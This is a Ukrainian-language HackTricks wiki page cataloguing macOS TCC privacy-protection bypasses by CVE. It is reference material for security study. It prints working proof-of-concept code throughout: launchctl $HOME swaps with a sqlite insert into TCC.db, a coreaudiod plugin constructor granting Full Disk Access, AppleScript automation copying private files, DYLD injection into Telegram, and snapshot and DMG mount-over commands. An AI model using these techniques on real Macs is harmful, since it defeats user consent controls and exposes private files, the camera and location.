macOS TCC Bypasses
Reading time: 19 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
За функціональністю
Обхід запису
Це не обхід, це просто те, як працює TCC: Він не захищає від запису. Якщо Terminal не має доступу для читання Робочого столу користувача, він все ще може записувати в нього:
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
Розширена атрибутика com.apple.macl
додається до нового файлу, щоб надати доступ додатку творця для його читання.
TCC ClickJacking
Можливо помістити вікно поверх запиту TCC, щоб змусити користувача прийняти його, не помітивши. Ви можете знайти PoC у TCC-ClickJacking.
https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg
Запит TCC за довільною назвою
Зловмисник може створити додатки з будь-якою назвою (наприклад, Finder, Google Chrome...) у Info.plist
і змусити його запитувати доступ до деякого захищеного місця TCC. Користувач подумає, що легітимний додаток є тим, хто запитує цей доступ.
Більше того, можливо видалити легітимний додаток з Dock і помістити фейковий, так що коли користувач натискає на фейковий (який може використовувати той же значок), він може викликати легітимний, запитати дозволи TCC і виконати шкідливе ПЗ, змушуючи користувача вірити, що легітимний додаток запитав доступ.
Більше інформації та PoC у:
SSH Bypass
За замовчуванням доступ через SSH мав "Повний доступ до диска". Щоб вимкнути це, вам потрібно, щоб він був у списку, але вимкнений (видалення його зі списку не зніме ці привілеї):
Тут ви можете знайти приклади того, як деякі шкідливі програми змогли обійти цю захист:
caution
Зверніть увагу, що тепер, щоб мати можливість увімкнути SSH, вам потрібен Повний доступ до диска
Обробка розширень - CVE-2022-26767
Атрибут com.apple.macl
надається файлам, щоб надати певному додатку дозволи на його читання. Цей атрибут встановлюється, коли перетягують файл на додаток або коли користувач двічі клацає файл, щоб відкрити його за допомогою додатку за замовчуванням.
Отже, користувач може зареєструвати шкідливий додаток для обробки всіх розширень і викликати Launch Services, щоб відкрити будь-який файл (так що шкідливий файл отримає доступ до його читання).
iCloud
Право com.apple.private.icloud-account-access
дозволяє спілкуватися з com.apple.iCloudHelper
XPC сервісом, який надасть токени iCloud.
iMovie та Garageband мали це право та інші, які дозволяли.
Для отримання більшої інформації про експлойт для отримання токенів iCloud з цього права перегляньте доповідь: #OBTS v5.0: "Що відбувається на вашому Mac, залишається на iCloud Apple?!" - Войцех Регула
kTCCServiceAppleEvents / Автоматизація
Додаток з дозволом kTCCServiceAppleEvents
зможе контролювати інші додатки. Це означає, що він може зловживати дозволами, наданими іншим додаткам.
Для отримання додаткової інформації про Apple Scripts перегляньте:
Наприклад, якщо додаток має дозвіл на автоматизацію над iTerm
, наприклад, у цьому прикладі Terminal
має доступ до iTerm:
.png)
Над iTerm
Terminal, який не має FDA, може викликати iTerm, який має його, і використовувати його для виконання дій:
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
osascript iterm.script
Over Finder
Або якщо додаток має доступ через Finder, це може бути скрипт, подібний до цього:
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
За поведінкою програми
CVE-2020–9934 - TCC
Користувацький tccd демон використовує HOME
env змінну для доступу до бази даних користувачів TCC з: $HOME/Library/Application Support/com.apple.TCC/TCC.db
Згідно з цією публікацією на Stack Exchange і оскільки демон TCC працює через launchd
в домені поточного користувача, можливо контролювати всі змінні середовища, які передаються йому.
Таким чином, зловмисник може встановити змінну середовища $HOME
в launchctl
, щоб вказати на контрольовану каталогію, перезапустити демон TCC і потім безпосередньо змінити базу даних TCC, щоб надати собі всі доступні права TCC без запиту у кінцевого користувача.
PoC:
# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents
CVE-2021-30761 - Примітки
Примітки мали доступ до захищених місць TCC, але коли створюється примітка, вона створюється в незахищеному місці. Тож ви могли б попросити примітки скопіювати захищений файл у примітку (тобто в незахищене місце), а потім отримати доступ до файлу:
.png)
CVE-2021-30782 - Транслокація
Бінарний файл /usr/libexec/lsd
з бібліотекою libsecurity_translocate
мав право com.apple.private.nullfs_allow
, що дозволяло йому створювати nullfs монтування, і мав право com.apple.private.tcc.allow
з kTCCServiceSystemPolicyAllFiles
для доступу до кожного файлу.
Було можливим додати атрибут карантину до "Library", викликати com.apple.security.translocation
XPC сервіс, а потім він відображав Library на $TMPDIR/AppTranslocation/d/d/Library
, де всі документи всередині Library могли бути доступні.
CVE-2023-38571 - Music & TV
Music
має цікаву функцію: Коли він працює, він імпортує файли, скинуті в ~/Music/Music/Media.localized/Automatically Add to Music.localized
у "медіатеку" користувача. Більше того, він викликає щось на зразок: rename(a, b);
де a
і b
є:
a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"
b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3
Ця rename(a, b);
поведінка вразлива до Race Condition, оскільки можливо помістити всередину папки Automatically Add to Music.localized
підроблений TCC.db файл, а потім, коли створюється нова папка (b), скопіювати файл, видалити його і вказати на ~/Library/Application Support/com.apple.TCC
/.
SQLITE_SQLLOG_DIR - CVE-2023-32422
Якщо SQLITE_SQLLOG_DIR="path/folder"
, це в основному означає, що будь-яка відкрита база даних копіюється в цей шлях. У цьому CVE цей контроль був зловжито для запису всередину SQLite бази даних, яка буде відкрита процесом з FDA базою даних TCC, а потім зловживати SQLITE_SQLLOG_DIR
з символічним посиланням у назві файлу, так що коли ця база даних відкрита, користувач TCC.db перезаписується з відкритою.
Більше інформації в описі і в доповіді.
SQLITE_AUTO_TRACE
Якщо змінна середовища SQLITE_AUTO_TRACE
встановлена, бібліотека libsqlite3.dylib
почне логувати всі SQL запити. Багато додатків використовували цю бібліотеку, тому було можливим логувати всі їхні SQLite запити.
Кілька додатків Apple використовували цю бібліотеку для доступу до захищеної інформації TCC.
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
Ця змінна середовища використовується фреймворком Metal
, який є залежністю для різних програм, зокрема Music
, яка має FDA.
Встановлюючи наступне: MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"
. Якщо path
є дійсним каталогом, помилка спрацює, і ми можемо використовувати fs_usage
, щоб побачити, що відбувається в програмі:
- файл буде
open()
ed, з назвоюpath/.dat.nosyncXXXX.XXXXXX
(X - випадковий) - один або кілька
write()
s запишуть вміст у файл (ми не контролюємо це) path/.dat.nosyncXXXX.XXXXXX
будеrenamed()
d наpath/name
Це тимчасове записування файлу, за яким слідує rename(old, new)
, яке не є безпечним.
Це не безпечно, оскільки потрібно окремо вирішити старі та нові шляхи, що може зайняти деякий час і бути вразливим до Race Condition. Для отримання додаткової інформації ви можете ознайомитися з функцією xnu
renameat_internal()
.
caution
Отже, в основному, якщо привілейований процес перейменовує з папки, якою ви керуєте, ви можете отримати RCE і змусити його отримати доступ до іншого файлу або, як у цьому CVE, відкрити файл, який створила привілейована програма, і зберегти FD.
Якщо перейменування отримує доступ до папки, якою ви керуєте, поки ви змінили вихідний файл або маєте до нього FD, ви змінюєте файл (або папку) призначення, щоб вказати на символічне посилання, тому ви можете записувати, коли захочете.
Це була атака в CVE: Наприклад, щоб перезаписати TCC.db
користувача, ми можемо:
- створити
/Users/hacker/ourlink
, щоб вказати на/Users/hacker/Library/Application Support/com.apple.TCC/
- створити каталог
/Users/hacker/tmp/
- встановити
MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db
- спровокувати помилку, запустивши
Music
з цією змінною середовища - зловити
open()
/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX
(X - випадковий) - тут ми також
open()
цей файл для запису і утримуємо дескриптор файлу - атомарно переключити
/Users/hacker/tmp
з/Users/hacker/ourlink
в циклі - ми робимо це, щоб максимізувати наші шанси на успіх, оскільки вікно гонки досить вузьке, але програш у гонці має незначні недоліки
- почекати трохи
- перевірити, чи пощастило
- якщо ні, запустити знову з початку
Більше інформації на https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html
caution
Тепер, якщо ви спробуєте використовувати змінну середовища MTL_DUMP_PIPELINES_TO_JSON_FILE
, програми не запустяться
Apple Remote Desktop
Як root ви можете увімкнути цю службу, і ARD агент матиме повний доступ до диска, що може бути зловжито користувачем, щоб змусити його скопіювати нову базу даних користувача TCC.
За NFSHomeDirectory
TCC використовує базу даних у домашній папці користувача для контролю доступу до ресурсів, специфічних для користувача, за адресою $HOME/Library/Application Support/com.apple.TCC/TCC.db.
Отже, якщо користувач зможе перезапустити TCC з змінною середовища $HOME, що вказує на іншу папку, користувач може створити нову базу даних TCC у /Library/Application Support/com.apple.TCC/TCC.db і обманути TCC, щоб надати будь-який дозвіл TCC будь-якому додатку.
tip
Зверніть увагу, що Apple використовує налаштування, збережені в профілі користувача в атрибуті NFSHomeDirectory
для значення $HOME
, тому якщо ви скомпрометуєте додаток з дозволами на зміну цього значення (kTCCServiceSystemPolicySysAdminFiles
), ви можете озброїти цю опцію за допомогою обходу TCC.
CVE-2020–9934 - TCC
CVE-2020-27937 - Directory Utility
CVE-2021-30970 - Powerdir
Перший POC використовує dsexport і dsimport, щоб змінити HOME папку користувача.
- Отримати csreq blob для цільового додатку.
- Посадити підроблений TCC.db файл з необхідним доступом і csreq blob.
- Експортувати запис служби каталогів користувача за допомогою dsexport.
- Змінити запис служби каталогів, щоб змінити домашню папку користувача.
- Імпортувати змінений запис служби каталогів за допомогою dsimport.
- Зупинити tccd користувача і перезавантажити процес.
Другий POC використовував /usr/libexec/configd
, який мав com.apple.private.tcc.allow
зі значенням kTCCServiceSystemPolicySysAdminFiles
.
Було можливим запустити configd
з параметром -t
, зловмисник міг вказати кастомний пакет для завантаження. Отже, експлуатація замінює методи dsexport
і dsimport
зміни домашньої папки користувача на впровадження коду configd.
Для отримання додаткової інформації перегляньте оригінальний звіт.
За допомогою впровадження процесу
Існують різні техніки для впровадження коду в процес і зловживання його привілеями TCC:
Більше того, найпоширеніше впровадження процесу для обходу TCC, яке було виявлено, відбувається через плагіни (завантажити бібліотеку).
Плагіни - це додатковий код, зазвичай у формі бібліотек або plist, які будуть завантажені основним додатком і виконуватимуться в його контексті. Отже, якщо основний додаток мав доступ до файлів, обмежених TCC (через надані дозволи або права), кастомний код також матиме його.
CVE-2020-27937 - Directory Utility
Додаток /System/Library/CoreServices/Applications/Directory Utility.app
мав право kTCCServiceSystemPolicySysAdminFiles
, завантажував плагіни з розширенням .daplug
і не мав захищеного часу виконання.
Щоб озброїти цей CVE, NFSHomeDirectory
змінюється (зловживаючи попереднім правом) для того, щоб мати можливість взяти під контроль базу даних TCC користувачів для обходу TCC.
Для отримання додаткової інформації перегляньте оригінальний звіт.
CVE-2020-29621 - Coreaudiod
Бінарний файл /usr/sbin/coreaudiod
мав права com.apple.security.cs.disable-library-validation
і com.apple.private.tcc.manager
. Перше дозволяло впровадження коду, а друге надавало доступ до керування TCC.
Цей бінарний файл дозволяв завантажувати плагіни сторонніх виробників з папки /Library/Audio/Plug-Ins/HAL
. Отже, було можливим завантажити плагін і зловживати дозволами TCC з цим PoC:
#import <Foundation/Foundation.h>
#import <Security/Security.h>
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}
__attribute__((constructor)) static void constructor(int argc, const char **argv) {
add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
Для отримання додаткової інформації перегляньте оригінальний звіт.
Плагіни абстракції пристроїв (DAL)
Системні програми, які відкривають потік камери через Core Media I/O (додатки з kTCCServiceCamera
), завантажують в процесі ці плагіни, розташовані в /Library/CoreMediaIO/Plug-Ins/DAL
(не обмежено SIP).
Просто зберігання в цій папці бібліотеки з загальним конструктором дозволить впровадити код.
Кілька додатків Apple були вразливими до цього.
Firefox
Додаток Firefox мав права com.apple.security.cs.disable-library-validation
та com.apple.security.cs.allow-dyld-environment-variables
:
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>
Для отримання додаткової інформації про те, як легко експлуатувати це перевірте оригінальний звіт.
CVE-2020-10006
Бінарний файл /system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl
мав права com.apple.private.tcc.allow
та com.apple.security.get-task-allow
, що дозволяло інжектувати код у процес і використовувати привілеї TCC.
CVE-2023-26818 - Telegram
Telegram мав права com.apple.security.cs.allow-dyld-environment-variables
та com.apple.security.cs.disable-library-validation
, тому було можливим зловживання цим для отримання доступу до його дозволів, таких як запис з камери. Ви можете знайти payload у звіті.
Зверніть увагу, як використовувати змінну середовища для завантаження бібліотеки, був створений кастомний plist для інжекції цієї бібліотеки, і launchctl
був використаний для її запуску:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist
За допомогою відкритих викликів
Можливо викликати open
навіть у пісочниці
Скрипти терміналу
Досить поширено надавати терміналу Повний доступ до диска (FDA), принаймні на комп'ютерах, які використовують технічні спеціалісти. І можливо викликати .terminal
скрипти, використовуючи його.
.terminal
скрипти - це plist файли, такі як цей, з командою для виконання в ключі CommandString
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
Застосунок може записати термінальний скрипт у такому місці, як /tmp, і запустити його з командою, такою як:
// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
By mounting
CVE-2020-9771 - mount_apfs TCC обход і підвищення привілеїв
Будь-який користувач (навіть без привілеїв) може створити та змонтувати знімок Time Machine і отримати доступ до ВСІХ файлів цього знімка.
Єдине привілейоване, яке потрібно, це щоб застосунок (наприклад, Terminal
) мав Повний доступ до диска (FDA) (kTCCServiceSystemPolicyAllfiles
), що має бути надано адміністратором.
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
Більш детальне пояснення можна знайти в оригінальному звіті.
CVE-2021-1784 & CVE-2021-30808 - Монтування поверх файлу TCC
Навіть якщо файл бази даних TCC захищений, було можливим монтувати новий файл TCC.db поверх каталогу:
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg
# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
Перевірте повний експлойт у оригінальному описі.
CVE-2024-40855
Як пояснено в оригінальному описі, цей CVE зловживав diskarbitrationd
.
Функція DADiskMountWithArgumentsCommon
з публічного фреймворку DiskArbitration
виконувала перевірки безпеки. Однак, її можна обійти, безпосередньо викликавши diskarbitrationd
і, отже, використовуючи елементи ../
у шляху та символічні посилання.
Це дозволило зловмиснику виконувати довільні монтування в будь-якому місці, включаючи базу даних TCC через право com.apple.private.security.storage-exempt.heritable
diskarbitrationd
.
asr
Інструмент /usr/sbin/asr
дозволяв копіювати весь диск і монтувати його в іншому місці, обходячи захисти TCC.
Служби геолокації
Є третя база даних TCC у /var/db/locationd/clients.plist
, щоб вказати клієнтів, яким дозволено доступ до служб геолокації.
Папка /var/db/locationd/
не була захищена від монтування DMG, тому було можливим змонтувати наш власний plist.
За допомогою автозавантажуваних програм
За допомогою grep
В кількох випадках файли зберігатимуть чутливу інформацію, таку як електронні адреси, номери телефонів, повідомлення... у незахищених місцях (що вважається вразливістю в Apple).
.png)
Синтетичні кліки
Це більше не працює, але працювало в минулому:
.png)
Інший спосіб, використовуючи CoreGraphics події:
.png)
Посилання
- https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8
- https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
- 20+ Ways to Bypass Your macOS Privacy Mechanisms
- Knockout Win Against TCC - 20+ NEW Ways to Bypass Your MacOS Privacy Mechanisms
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.